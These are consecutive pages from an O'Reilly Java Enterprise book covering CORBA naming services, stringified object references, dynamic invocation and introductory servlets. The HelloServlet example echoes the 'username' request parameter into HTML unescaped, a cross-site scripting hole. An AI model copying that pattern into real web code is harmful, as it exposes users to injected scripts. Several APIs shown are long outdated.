NameComponent otherPath[] = { comp1, otherComp, yetAnotherComp };
rootNC.bind(otherPath, otherRef);

// Bind the ThisOrThatServer to the appropriate branch under "servers"
NameComponent tt1Comp = new NameComponent("server1", "");
NameComponent ttPath[] = { comp1, ttComp, tt1Comp };
rootNC.bind(ttPath, ttRef);

If you try to bind an object or a subcontext to a name within a context that hasn't been created yet, a org.omg.CosNaming.NamingContextPackage.NotFound exception is thrown.

Note that names used in the bind() or rebind() methods are relative to the NamingContext object that they're called on. This means we can bind our ThisOrThatServer object in the previous example to the same absolute name within the directory by replacing the last two lines of the example with the following:

NameComponent relObjPath[] = { tt1Comp };
ttDir.bind(relObjPath, ttRef);

The ttDir context is bound to the {"servers", "ThisOrThat"} subdirectory, so binding an object to the name {"server1"} within this context is equivalent to binding it to the full path {"servers", "ThisOrThat", "server1"} from the root context. You can use similar shorthand when binding new contexts within a directory. In other words, you can bind a context to a relative name within a subcontext, instead of an absolute name within the root context.

Previous | Home | Next
4.2. Creating CORBA Objects | Book Index | 4.4. Finding Remote Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Finding Remote Objects (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.4. Finding Remote Objects

Now that we have registered our remote object with an ORB, it is available to CORBA client applications. This means we are done with the setup of the remote object and can turn our attention to client applications that want to use the object. As I said earlier, every CORBA process needs a reference to an ORB. Once a client application has access to an ORB, the next thing for it to do is find remote objects to interact with. But before we can discuss finding remote objects, we need to talk a bit about what remote object references look like under CORBA.

The whole point of CORBA is to be able to distribute objects across the network and then use them from any point on the network. In order for a local process to make requests of a remote object, it needs to have some kind of reference to that remote object. This object reference needs to contain enough information for the local ORB to find the ORB serving the target object and send the request to the remote ORB using an agreed-upon protocol.

In most situations, a CORBA client has a reference to a remote object in the form of an object stub. The stub encapsulates the actual object reference, providing what seems like a direct interface to the remote object in the local environment. If the client is implemented in C++, Java, or some other object-oriented language, the object stub is a native object in that language. Other, nonobject languages represent remote object references in whatever way is dictated in the CORBA language binding for that language.

CORBA includes its own root object class, since some object programming languages may have different inheritance structures. In the Java binding for CORBA, all CORBA object references (local or remote) implement the org.omg.CORBA.Object interface. So, when a client of a remote CORBA object receives a stub for the object, it actually gets an org.omg.CORBA.Object that serves as a proxy for the remote object. The org.omg.CORBA.portable.ObjectImpl class provides default implementations for the methods defined on org.omg.CORBA.Object. Java stubs and implementations for CORBA objects are actually subclassed from the ObjectImpl class. Internally, ObjectImpl deals with delegating requests on the object to the proper target object, whether it is a remote object or a local one. ObjectImpl implements the org.omg.CORBA.Object interface and extends the java.lang.Object class, so it truly provides a joining point between the CORBA and Java object environments.

A reference to an org.omg.CORBA.Object object that is connected to a remote object is all a client needs to invoke methods on a remote object. Using the Dynamic Invocation Interface defined by the CORBA standard, you can create method requests and send them to the remote object through the Object interface, as we'll discuss later in this chapter. If your client has the actual Java interface for the remote object available at compile time, however, you probably want to convert the Object reference into a reference of that type, so that you can use the interface to call remote methods directly.

Converting an org.omg.COBRA.Object to a specific remote interface is done by narrowing the object reference to the corresponding interface type, using type-specific helper classes to do the narrowing. We've already seen how the Java IDL compiler, idltojava, creates a helper class from an IDL interface (e.g., ThisOrThatServerHelper). The helper class includes a narrow() method that converts an org.omg.CORBA.Object reference to a reference of the given type. If the object reference you pass into the narrow() method is not the type the helper expects, an org.omg.CORBA.BAD_PARAM exception is thrown. This is a RuntimeException, so it doesn't have to be caught by your code, unless you're trying to test the type of a CORBA reference for some reason.

With that background material out of the way, let's discuss actually finding remote object references. There are many ways that an object reference can find its way through the ORB into a client application, but they all boil down to one of these methods:

  • Getting an initial reference directly from the ORB

  • Getting an object reference through a method call on another remote object reference

  • Using a stringified object reference obtained through a secondary channel and converting it to a live object reference

4.4.1. Initial ORB References

In addition to providing core object communication services, an ORB can also provide additional services, such as a Naming Service, a Trading Service, a Security Service, etc. These services are represented as CORBA objects and are available through the ORB automatically, based on how it is configured. The ORB interface provides the resolve_initial_references() method for obtaining references to these initial objects. Each CORBA service the ORB supports is represented by one or more object interfaces, and these objects can be asked for using standard names. As we saw earlier when we registered a remote object, the standard name for the Naming Service is "NameService."

Once you've initialized your ORB reference, you can ask the ORB for a list of the names of its initial objects using the list_initial_references() method:

String names[] = myORB.list_initial_references();

This method returns an array of String objects that contains the names of all initial objects in the ORB. These names can then be used to get references to the objects through the resolve_initial_references() method.

Here's how we used resolve_initial_references() to obtain a reference to the Naming Service in Example 4-8:

ORB myORB = ORB.init(...);
org.omg.CORBA.Object nameRef =
    myORB.resolve_initial_references("NameService");

Although the list_initial_references() and resolve_initial_references() methods are a standard element of the ORB interface, how the ORB implements these initial object references is not standardized. Sun's Java IDL implementation stores an ORB's initial object references as root objects in its Naming Service.

4.4.2. Getting Objects from Other Remote Objects

In addition to getting remote objects directly from an ORB reference, a client can obtain remote objects from other remote objects. A common variation on this approach is to get a reference to a Naming Service object and then look up objects in the naming directory by name. Another variation (that we won't cover in detail in this section) is to obtain an application-specific object reference, either directly from the ORB or through the Naming Service, and use this initial reference to request other objects. An object used in this way in a distributed application is sometimes called a factory object.

4.4.2.1. Using a naming context

Once you have a reference to a Naming Service that you can narrow to a NamingContext reference, you can look up objects within the context by passing names to its resolve() method. As before, when we were binding objects, a name is represented by an ordered array of NameComponent objects. Each NameComponent (both the id field and the kind field) must exactly match the path to an object within the context in order to successfully find the object. If an object is not found at a specified name, an org.omg.CosNaming.NamingContextPackage.NotFound exception is thrown.

So, if a client wants to find the object we stored in the last binding example, it needs to do the following (assuming that it already has a reference to the root naming context of the Naming Service):

// Set up path
NameComponent comp1 = new NameComponent("servers", "");
NameComponent comp2 = new NameComponent("ThisOrThat", "");
NameComponent serverName = new NameComponent("server1", "");
NameComponent objPath[] = { comp1, comp2, serverName };

// Find the object in the directory
org.omg.CORBA.Object objRef = rootNC.resolve(objPath);
ThisOrThatServer server = ThisOrThatServerHelper.narrow(objRef);

Note the use of the narrow() method on ThisOrThatServerHelper to "cast" the generic object reference to a ThisOrThatServer object.

You can also use the resolve() method on a NamingContext to get a reference to a subcontext. Just use the path to the context itself and narrow() it to a NamingContext reference:

NameComponent ttPath[] = { comp1, comp2 };
org.omg.CORBA.Object ncRef = rootNC.resolve(ttPath);
NamingContext ttContext = NamingContextHelper.narrow(ncRef);

4.4.2.2. Using multiple naming services

Suppose there are objects stored in multiple Naming Services (representing, for example, multiple organizations offering CORBA-based services) that you want to access from your client. One way to do this is to initialize an ORB reference for each one. Sun's Java IDL lets you specify an initial host and port for an ORB when you initialize it. So, if each independent Naming Service has its own ORB behind it, you can simply get a reference to each ORB and ask it for a reference to its Naming Service:

String host1 = "orbhost1.net";
int port1 = 1234;
String host2 = "orghost2.net";
int port2 = 2345;

// Initialize the first ORB reference
Properties props = new Properties();
props.put("org.omg.CORBA.ORBInitialHost", host1);
props.put("org.omg.CORBA.ORBInitialPort", String.valueOf(port1));
ORB orb1 = ORB.init((String[])null, props);

// Initialize another ORB reference
props.put("org.omg.CORBA.ORBInitialHost", host2);
props.put("org.omg.CORBA.ORBInitialPort", String.valueOf(port2));
ORB orb2 = ORB.init((String[])null, props);

// Get references to the Naming Services
org.omg.CORBA.Object nc1Ref =
    orb1.resolve_initial_references("NameService");
org.omg.CORBA.Object nc2Ref =
    orb2.resolve_initial_references("NameService");

// Narrow the Naming Service references to NamingContexts and use them
...

The only problem with this approach is that it depends on using a nonstandard feature of Sun's Java implementation of the CORBA standard. If you try using this same code against a different Java implementation of CORBA, it probably won't work.

Another option is to have one Naming Service hold references to other Naming Services located elsewhere on the network. As we've seen, the interface to a Naming Service is a NamingContext object reference that represents the root of the naming tree for that name directory. Since the NamingContext is itself a CORBA-exported object, one Naming Service can hold a reference to a NamingContext from another Naming Service, acting as a bridge to the other Naming Service and its objects. To do this, you first have to run some code on the server that is going to act as the bridge. This code gets a reference to the local Naming Service and stores references to remote Naming Services in the local directory:

// Get the local ORB and main NamingContext
ORB myORB = ORB.init(...);
org.omg.CORBA.Object ncRef =
  orb.resolve_initial_references("NameService");
NamingContext localNC = NamingContextHelper.narrow(ncRef);

// Create a new subcontext to hold the remote contexts
NameComponent nodeName = new NameComponent("RemoteContexts", "");
NameComponent path[] = {nodeName};
NamingContext ncNode = localNC.bind_new_context(path);

// Get a reference to a remote Naming Service
// using Sun's non-standard ORB properties
Properties remoteORBProps = new Properties();
remoteORBProps.put("org.omg.CORBA.ORBInitialHost", "remote.orb.com");
ORB remoteORB = ORB.init((String[])null, remoteORBProps);
org.omg.CORBA.Object remoteNCRef =
  remoteORB.resolve_initial_references("NameService");
NamingContext remoteNC = NamingContextHelper.narrow(remoteNCRef);

// Store the remote reference in the local context
NameComponent sub = new NameComponent("Naming1", "");
NameComponent path2[] = {nodeName, sub};
localNC.bind(path2, remoteNC);

With this done, a remote client can get a reference to the main Naming Service directory and then look up other remote directories within the bridge directory:

public class NamingClient {
  public static void main(String argv[]) {
    ORB orb = ORB.init(argv, null);
    org.omg.CORBA.Object ref = null;
    try {
      ref = orb.resolve_initial_references("NameService");
    }
    catch (InvalidName invN) {
      System.out.println("No primary NameService available.");
      System.exit(1);
    }
    NamingContext nameContext = NamingContextHelper.narrow(ref);
    NameComponent topNC = new NameComponent("RemoteContexts", "");
    NameComponent subNC = new NameComponent("Naming1", "");
    NameComponent path[] = {topNC, subNC };
    try {
      org.omg.CORBA.Object ref2 = nameContext.resolve(path);
      NamingContext nameContext2 = NamingContextHelper.narrow(ref2);
      System.out.println("Got secondary naming context...");
    }
    catch (Exception e) {
      System.out.println("Failed to resolve secondary NameService:");
      e.printStackTrace();
    }
  }
}

Using one Naming Service as a bridge to other remote named object directories is a useful tool to help manage a constellation of remote objects, but the same question arises: how do we get references to the remote NamingContext objects in order to store them in the bridge directory? In the previous bridge example, we're still using the nonstandard ORB properties provided by Sun's Java IDL implementation to initialize references to multiple remote ORBs (and their Naming Services). What we really want to do is initialize the bridge directory in a way that falls within the CORBA standard. One way is to do this is to use stringified object references, which are the topic of the next section.

4.4.3. Stringified Object References

As we've seen, Sun's implementation of Java IDL provides a nonstandard way to initialize an ORB to reference a remote Naming Service, so that one of the ORB's initial references is to the root context of the remote Naming Service. But what do you do if you want an object from a remote Naming Service, and your Java IDL implementation doesn't provide a way to directly initialize a reference to the remote service? Or, worse yet, what if the object that you want isn't stored in a Naming Service or available through any other CORBA service? How can your client get a reference to the object?

The CORBA standard comes to the rescue again. Part of the standard, called Interoperable Object References (IORs), includes a syntax for representing a remote object reference in the form of a printable string of characters. This stringified object reference includes enough information for a remote CORBA client to locate the object's home ORB and convert the string to a runtime stub reference to the object. Two methods on the ORB interface, object_to_string() and string_to_object(), let you convert a CORBA object reference to string form and back again.

Example 4-9 shows how to create an instance of our server implementation of the ThisOrThatServer interface, register it with the ORB, and generate a stringified object reference from the CORBA server object. A stringified reference to a remote object is called an Interoperable Object Reference (IOR) because it uses a format for object references that can be freely distributed between ORBs running a cross the network. In order for the IOR you generate to be acceptable to another ORB, both your ORB and the remote ORB have to be using the same inter-ORB communication protocol (IIOP, DCE-CIOP, etc.). In this example, our client and host are both running IIOP.

Example 4-9. Registering an Object/Getting Its Stringified Object Reference

import org.omg.CORBA.*;

public class ServerInit {
  public static void main(String[] argv) {
    try {
      // Obtain ORB reference
      ORB myORB = ORB.init(argv, null);

      // Make a ThisOrThatServer object to register with the ORB
      ThisOrThatServer impl = new ThisOrThatServerImpl();

      // Register the local object with the ORB
      myORB.connect(impl);

      // Get a stringified reference to the object
      String sor = myORB.object_to_string(impl);
      System.out.println("ThisOrThatServer IOR: " + sor);

      // Go into a wait state, waiting for clients to connect
      java.lang.Object dummy = new String("I wait...");
      synchronized (dummy) {
        dummy.wait();
      }
    }
    catch (Exception e) {
      System.out.println("Error occurred while initializing server object:");
      e.printStackTrace();
    }
  }
}

The ServerInit class contains a main() method that is intended to be run on the server host for our remote object. The main() method first initializes a connection to the local ORB and then creates an instance of the ThisOrThatServerImpl class. This instance serves as the server implementation of our remote object. We create a stringified reference to the object using the object_to_string() method on the ORB and then output the stringified reference, so that it can be copied and sent to clients. Finally, by doing a synchronous wait() on a local object, the main() method goes into a wait state. This wait() is necessary to keep the ORB running so that it can respond to client requests. If we let the main() method exit, the server object we created is destroyed, and the IOR we generated is no longer valid.

A sample client for our object is shown in Example 4-10. The client accepts a stringified object reference as a command-line argument to its main() method. Then it initializes a local ORB reference and uses its string_to_object() method to convert the stringified reference to a live object reference. To do this, the ORB parses the encoded information in the stringified reference, makes a connection with the remote ORB serving the object, and generates a CORBA object reference for the client.

Example 4-10. A Client Utilizing a Stringified Object Reference

import org.omg.CORBA.*;

public class ServerStringClient {
  public static void main(String[] argv) {
    // Get the stringified reference from our command-line arguments
    String sor = null;
    if (argv.length > 0) {
      sor = argv[0];
    }
    else {
      System.out.println("You forgot the object reference...");
      System.exit(1);
    }

    try {
      // Obtain ORB reference
      ORB myORB = ORB.init(argv, null);

      // Convert the stringified reference into a live object reference
      org.omg.CORBA.Object objRef = myORB.string_to_object(sor);

      // Narrow the object reference to a ThisOrThatServer
      // using the ThisOrThatServerHelper
      ThisOrThatServer server = ThisOrThatServerHelper.narrow(objRef);

      // Invoke some methods on the remote object through the stub
      server.doThis("something");
      server.doThat("something else");
    }
    catch (Exception e) {
      System.out.println("Error occurred while initializing server object:");
      e.printStackTrace();
    }
  }
}

Before we can run the client, the remote object has to be registered with its ORB, so that we can get the stringified object reference:

objhost% java ServerInit
ThisOrThatServer IOR: IOR:000000000000002349444c3a6a656e2f636f7262612f546869
734f72546861745365727665723a312e30000000000001000000000000003000010000000000
0a6c6f63616c686f737400043200000018afabcafe00000002496bb469000000080000000000
000000

Somehow, you have to get this IOR to the client host. You could embed the stringified object reference within a hidden field in a HTML page, so that a Java client can access it using a URL object. Or you could set up a simple server on a given port on your host that broadcasts the stringified object reference to whoever makes a socket connection. Or you could email the string to a colleague, and she can type the stringified reference into the startup command for her CORBA client. In any case, the client is invoked with the IOR as a command-line option:

clienthost% java ServerStringClient IOR:000000000000002349444c3a6a656e2f636f
7262612f546869734f72546861745365727665723a312e300000000000010000000000000030
000100000000000a6c6f63616c686f737400043200000018afabcafe00000002496bb4690000
00080000000000000000

The client uses the argument to reconstitute a remote reference to the server object, so that it can invoke methods on the remote object.

Previous | Home | Next
4.3. Putting It in the Public Eye | Book Index | 4.5. What If I Don't Know the Interface?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What If I Don't Know the Interface? (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.5. What If I Don't Know the Interface?

In the examples we've seen so far, we've always assumed that the Java interfaces for the remote objects are available at compile time. But what happens if they aren't? You might get a reference to a CORBA Object from a Naming Service, for example, and not know what interface that object implements. I mentioned earlier that you can use an org.omg.CORBA.Object reference directly to make requests and exchange data with its remote object.

The CORBA standard defines two complementary APIs for this purpose: the Dynamic Invocation Interface (DII) that a client can use to make remote method requests of a server object, and the Dynamic Skeleton Interface (DSI) that a server-side skeleton can use to forward method invocations to its server implementation object. Both of these APIs provide the same essential function: a dynamic interface to an object whose interface is not known at compile time. The DII offers this functionality to clients of CORBA objects, and the DSI provides it to the server-side skeletons that bridge the object implementation with the ORB.

The DII and DSI may seem like sidebar topics in the CORBA world, but in reality they are at the heart of CORBA and how it works. When we generate Java stubs and skeletons from IDL interfaces, the code that is generated uses the DII and DSI to execute remote method calls. The details of how this is done are shielded from you, the developer, by the Java interface you use to interact with the remote object. But it's still worthwhile to understand how CORBA objects implement their distributed nature, especially in situations where the Java interface for the remote object is not there, and you need to deal directly with these details.

In this section, we take a look at how the DII works and how you might use it in a client. We won't cover the DSI in this book, since its practical uses are even more limited for the average developer. Note, however, that the API of the DSI is analogous to that of the DII, so you shouldn't have much trouble mapping the following explanation to the DSI as well.

4.5.1. Dynamic Invocation Interface

The Dynamic Invocation Interface provides abstract representations of remote method requests and their arguments. In simple terms, this means it includes objects that represent remote method requests and parameters that are passed with these method requests. Methods on these objects allow you to set the parameters to the request, make the request, and get the results. DII's central classes are:

Request

A request to invoke a method on a remote object. Created by the client and issued through the ORB to the server object.

NamedValue

A named parameter to a method request. Conceptually, this is a name tied to an Any value. The name of the value must match the name of the parameter as specified in the IDL interface the remote object satisfies.

NVList

A list of NamedValue parameters used to represent an argument list passed into a remote method request.

Any

A general argument value. An Any object can contain the Java equivalent of any basic IDL type or an Object that can be described in IDL.

Context

A list of NamedValue objects used to specify any details of the client environment that shouldn't be passed as method arguments.

Once you get an org.omg.CORBA.Object reference to a remote object (using any of the approaches we've already covered), you can create and issue a method request to the object by building a parameter list for the method call, making a NamedValue object to hold the result, making a Context object and putting any useful environment values in it, and then using all of these items to create a Request object that corresponds to a particular method on the object. Example 4-11 shows a sample DII client that gets a reference to a remote object through a Naming Service and then makes a dynamic call to its doThis() method.

Example 4-11. Client Using DII to Make Remote Method Call

import org.omg.CORBA.*;
import org.omg.CosNaming.*;

public class DIISimpleClient {
  public static void main(String argv[]) {
    ORB myORB = ORB.init(argv, null);
    ORB singleORB = ORB.init();
    try {
      // Get a reference to the object
      org.omg.CORBA.Object ncRef =
        myORB.resolve_initial_references("NameService");
      NamingContext nc = NamingContextHelper.narrow(ncRef);
      NameComponent nComp = new NameComponent("ThisOrThatServer", "");
      NameComponent[] path = {nComp};
      org.omg.CORBA.Object objRef = nc.resolve(path);

      // Now make a dynamic call to the doThis method.  The first step is
      // to build the argument list. In this case, there's a single String
      // argument to the method, so create an NVList of length 1.  Next
      // create an Any object to hold the value of the argument and insert
      // the desired value.  Finally, wrap the Any object with a NamedValue
      // and insert it into the NVList, specifying that it is an input
      // parameter.
      NVList argList = myORB.create_list(1);
      Any arg1 = myORB.create_any();
      arg1.insert_string("something");
      NamedValue nvArg =
        argList.add_value("what", arg1, org.omg.CORBA.ARG_IN.value);

      // Create an Any object to hold the return value of the method and
      // wrap it in a NamedValue
      Any result = myORB.create_any();
      result.insert_string("dummy");
      NamedValue resultVal = myORB.create_named_value("result", result,
          org.omg.CORBA.ARG_OUT.value);

      // Get the local context from the ORB.
      // NOTE: This call does not work in Java 1.2, and returns a
      //   NOT_IMPLEMENTED exception.  To make this work in Java 1.2, simply
      //   remove this call to get_default_context(), and pass a null pointer
      //   into the _create_request() call below.  This example should work
      //   as is with any compliant Java CORBA environment, however.
      Context ctx = myORB.get_default_context();

      // Create the method request using the default context, the name of
      // the method, the NVList argument list, and the NamedValue for the
      // result.  Then invoke the method by calling invoke() on the Request.
      Request thisReq =
        objRef._create_request(ctx, "doThis", argList, resultVal);
      thisReq.invoke();

      // Get the return value from the Request object and output results.
      result = thisReq.result().value();
      System.out.println("doThis() returned: " + result.extract_string());
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}

Note that in most situations you will have the Java interface for the remote object available in your client along with its helper class, so you'll be able to narrow the Object reference to a specific type. One exception might be if you're building some kind of software development tool, and you want to provide a dynamic execution utility for the CORBA code being developed. The previous example demonstrates how a CORBA method call can be carried out at this lower level, in case you ever find it necessary to do so. And when you're trying to fix a problem with your CORBA application, it's always better to understand what's going on under the hood, so to speak.

Previous | Home | Next
4.4. Finding Remote Objects | Book Index | 5. Java Servlets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Servlets (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 5. Java Servlets

Contents:

The Servlet Life Cycle
Servlet Basics
Servlet Chaining
Custom Servlet Initialization
Thread Safety
Server-Side Includes
Cookies
Session Tracking
Databases and Non-HTML Content
The Servlet API 2.1

The Java Servlet API provides a standard way to extend the functionality of any kind of server that uses a protocol based on requests and responses. Servlets are used primarily with web servers, where they provide a Java-based replacement for CGI scripts. In other words, on a web server that supports servlets (and there are many), you can use a Java servlet to create dynamic web content in much the same way you currently use a CGI script. Servlets have many advantages over CGI scripts, however. For example, servlets are persistent between invocations, which dramatically improves performance relative to CGI programs. Servlets are also portable among operating systems and among servers. Finally, servlets have access to all the APIs of the Java platform, so, for example, it is easy to create a servlet that interacts with a database, using the JDBC API.

In terms of enterprise computing, servlets are a natural fit if you are using the Web as your development platform. You can take advantage of web browsers as universally available thin clients; the web server becomes middleware that is responsible for running applications for these clients. Under this model, the user makes a request of the web server, the server invokes a servlet designed to handle the request, the servlet fulfills the request, and the result is returned to the user in the web browser. What's key here is that the servlet can use JNDI, Java IDL, and other Java Enterprise APIs to perform whatever tasks are necessary to fulfill the request.

This chapter demonstrates the basic techniques used to write servlets using Version 2.0 of the Java Servlet API. It also covers how to handle some common web-development tasks, such as cookie manipulation and session tracking, with servlets. The chapter concludes with an introduction to the new features of Version 2.1 of the Servlet API. This chapter assumes that you have some experience with web development; if you are new to web development, you may want to brush up on web basics by consulting Webmaster in a Nutshell, 2nd Edition, by Stephen Spainhour and Robert Eckstein (O'Reilly). For a more complete treatment of servlets, I recommend Java Servlet Programming, by Jason Hunter with William Crawford (O'Reilly).

5.1. The Servlet Life Cycle

When a client makes a request involving a servlet, the server loads and executes the appropriate Java classes. Those classes generate content, and the server sends the content back to the client. In most cases, the client is a web browser, the server is a web server, and the servlet returns standard HTML. From the web browser's perspective, this isn't any different from requesting a page generated by a CGI script, or, indeed, standard HTML. On the server side, however, there is one important difference: persistence.[1] Instead of shutting down at the end of each request, the servlet can remain loaded, ready to handle subsequent requests. Figure 5-1 shows how this all fits together.

[1] Note that I'm using persistent to mean "enduring between invocations," not "written to permanent storage," as it is sometimes used.

Figure 5-1. The servlet life cycle

The request-processing time for a servlet can vary, but it is typically quite fast when compared to a similar CGI program. The real advantage of a servlet, however, is that you incur most of the startup overhead only once. When a servlet loads, its init() method is called. You can use init() to create I/O intensive resources, such as database connections, for use across multiple invocations. If you have a high-traffic site, the performance benefits can be quite dramatic. Instead of putting up and tearing down a hundred thousand database connections, the servlet needs to create a connection only once. The servlet's destroy() method can clean up resources when the server shuts down.

Because servlets are persistent, you can actually remove a lot of filesystem and/or database accesses altogether. For example, to implement a page counter, you can simply store a number in a static variable, rather than consulting a file (or database) for every request. Using this technique, you need to read and write to the disk only occasionally to preserve state. Since a servlet remains active, it can perform other tasks when it is not servicing client requests, such as running a background processing thread (where clients connect to the servlet to view the result) or even acting as an RMI host, enabling a single servlet to handle connections from multiple types of clients. For example, if you write an order processing servlet, it can accept transactions from both an HTML form and an applet using RMI.

The Servlet API includes numerous methods and classes for making application development easier. Most common CGI tasks require a lot of fiddling on the programmer's part; even decoding HTML form parameters can be a chore, to say nothing of dealing with cookies and session tracking. Libraries exist to help with these tasks, but they are, of course, decidedly nonstandard. You can use the Servlet API to handle most routine tasks, thus cutting development time and keeping things consistent for multiple developers on a project.

Previous | Home | Next
4.5. What If I Don't Know the Interface? | Book Index | 5.2. Servlet Basics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Servlet Basics (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.2. Servlet Basics

The Servlet API consists of two packages, javax.servlet and javax.servlet.http. The javax is there because servlets are a standard extension to Java, rather than a mandatory part of the API. This means that while servlets are official Java, Java virtual machine developers are not required to include the classes for them in their Java development and execution environments.

At one point, servlets were slated to become part of Version 1.2 of the Java 2 platform, and the API was even included with some Java SDK beta releases. However, since the Servlet API is evolving much faster than the core Java SDK, Sun decided to keep distribution separate. This has led to the revival of the Java Servlet Development Kit (JSDK), which is currently available from Sun at http://java.sun.com/products/servlet/. The JSDK includes the necessary servlet classes and a small servletrunner application for development and testing. As of this writing, the latest available implementation is JSDK 2.1, based on Version 2.1 of the Servlet API.

The examples in this chapter were developed using Sun's Java Web Server 1.1.3, unofficially considered the reference implementation for servlets. As of this writing, a number of other products, including O'Reilly's WebSite Pro and the W3C's JigSaw, have incorporated servlet support. Various third-party vendors, including Live Software, New Atlanta, and IBM, have released add-on servlet modules for most other major web server platforms, including the Netscape server family, Apache, and Microsoft IIS. I'm not going to discuss how to load servlets on each server, since the various implementations differ in this regard. What's important is that the servlets themselves are the same for each platform.

The three core elements of the Servlet API are the javax.servlet.Servlet interface, the javax.servlet.GenericServlet class, and the javax.servlet. http.HttpServlet class. Normally, you create a servlet by subclassing one of the two classes, although if you are adding servlet capability to an existing object, you may find it easier to implement the interface.

The GenericServlet class is used for servlets that do not implement any particular communication protocol. Here's a basic servlet that demonstrates servlet structure by printing a short message:

import javax.servlet.*;
import java.io.*;

public class BasicServlet extends GenericServlet {

  public void service(ServletRequest req, ServletResponse resp)
    throws ServletException, IOException {

    resp.setContentType("text/plain");
    PrintWriter out = resp.getWriter();

    out.println("Hello.");
  }
}

BasicServlet extends the GenericServlet class and implements one method: service(). Whenever a server wants to use the servlet, it calls this service() method, passing ServletRequest and ServletResponse objects (we'll look at these in more detail shortly). The servlet tells the server what type of response to expect, gets a PrintWriter from the response object, and transmits its output.

The GenericServlet class can also implement a filtering servlet that takes output from an unspecified source and performs some kind of alteration. For example, a filter servlet might be used to prepend a header, scan servlet output or raw HTML files for <DATE> tags and insert the current date, or remove <BLINK> tags. A more advanced filtering servlet might insert content from a database into HTML templates. We'll talk a little more about filtering later in this chapter.

Although most servlets today work with web servers, there's no requirement for that in GenericServlet: the class implements just that, a generic servlet. As we'll see in a moment, the HttpServlet class is a subclass of GenericServlet that is designed to work with the HTTP protocol. It is entirely possible to develop other subclasses of GenericServlet that work with other server types. For example, a Java-based FTP server might use servlets to return files and directory listings or perform other tasks.

5.2.1. HTTP Servlets

The HttpServlet class is an extension of GenericServlet that includes methods for handling HTTP-specific data. HttpServlet defines a number of methods, such as doGet(), doPost(), and doPut(), to handle particular types of HTTP requests (GET, POST, and so on). These methods are called by the default implementation of the service() method, which figures out what kind of request is being made and then invokes the appropriate method. Here's a simple HttpServlet:

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class HelloWorldServlet extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    resp.setContentType("text/html");
    PrintWriter out = resp.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Have you seen this before?</TITLE></HEAD>");
    out.println("<BODY><H1>Hello, World!</H1><H6>Again.</H6></BODY></HTML>");
  }
}

HelloWorldServlet demonstrates many essential servlet concepts. The first thing to notice is that HelloWorldServlet extends HttpServlet--standard practice for an HTTP servlet. HelloWorldServlet defines one method, doGet(), which is called whenever anyone requests a URL that points to this servlet.[2] The doGet() method is actually called by the default service() method of HttpServlet. The service() method is called by the web server when a request is made of HelloWorldServlet; the method determines what kind of HTTP request is being made and dispatches the request to the appropriate doXXX() method (in this case, doGet()). doGet() is passed two objects, HttpServletRequest and HttpServletResponse, that contain information about the request and provide a mechanism for the servlet to produce output, respectively.

[2] In a standard Java Web Server installation, with the servlet installed in the standard servlets directory, this URL is http://site:8080/servlet/HelloWorldServlet. Note that the name of the directory (servlets) is unrelated to the use of "servlet" in the URL.

The doGet() method itself does three things. First, it sets the output type to "text/html", which indicates that the servlet produces standard HTML as its output. Second, it calls the getWriter() method of the HttpServletResponse parameter to get a java.io.PrintWriter that points to the client. Finally, it uses the stream to send some HTML back to the client. This isn't really a whole lot different from the BasicServlet example, but it gives us all the tools we'll need later on for more complex web applications.

If you define a doGet() method for a servlet, you may also want to override the getLastModified() method of HttpServlet. The server calls getLastModified() to find out if the content delivered by a servlet has changed. The default implementation of this method returns a negative number, which tells the server that the servlet doesn't know when its content was last updated, so the server is forced to call doGet() and return the servlet's output. If you have a servlet that changes its display data infrequently (such as a servlet that verifies uptime on several server machines once every 15 minutes), you should implement getLastModified() to allow browsers to cache responses. getLastModified() should return a long value that represents the time the content was last modified as the number of milliseconds since midnight, January 1, 1970, GMT.

A servlet should also implement getServletInfo(), which returns a string that contains information about the servlet, such as name, author, and version (just like getAppletInfo() in applets). This method is called by the web server and generally used for logging purposes.

5.2.2. Forms and Interaction

The problem with creating a servlet like HelloWorldServlet is that it doesn't do anything we can't already do with HTML. If we are going to bother with a servlet at all, we should do something dynamic and interactive with it. In many cases, this means processing the results of an HTML form. To make our example less impersonal, let's have it greet the user by name. The HTML form that calls the servlet using a GET request might look like this:

<HTML>
<HEAD><TITLE>Greetings Form</TITLE></HEAD>
<BODY>
<FORM METHOD=GET ACTION="/servlet/HelloServlet">
What is your name?
<INPUT TYPE=TEXT NAME=username SIZE=20>
<INPUT TYPE=SUBMIT VALUE="Introduce Yourself">
</FORM>
</BODY>
</HTML>

This form submits a form variable named username to the URL /servlet/HelloServlet. How does the web server know to load this particular servlet? Most servlet implementations, including the Java Web Server, allow you to place unpackaged servlets into a particular directory, and access them with a URI of /servlet/ServletName. This is similar to the way most web servers support CGI programs.

The HelloServlet itself does little more than create an output stream, read the username form variable, and print out a nice greeting for the user. Here's the code:

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class HelloServlet extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    resp.setContentType("text/html");
    PrintWriter out = resp.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Finally, interaction!</TITLE></HEAD>");
    out.println("<BODY><H1>Hello, " + req.getParameter("username") + "!</H1>");
    out.println("</BODY></HTML>");
  }
}

All we've done differently here is use the getParameter() method of HttpServletRequest to retrieve the value of a form variable.[3] When a server calls a servlet, it can also pass a set of request parameters. With HTTP servlets, these parameters come from the HTTP request itself, in this case in the guise of URL-encoded form variables. Note that a GenericServlet running in a web server also has access to these parameters using the simpler SerlvetRequest object. When the HelloServlet runs, it inserts the value of the username form variable into the HTML output, as shown in Figure 5-2.

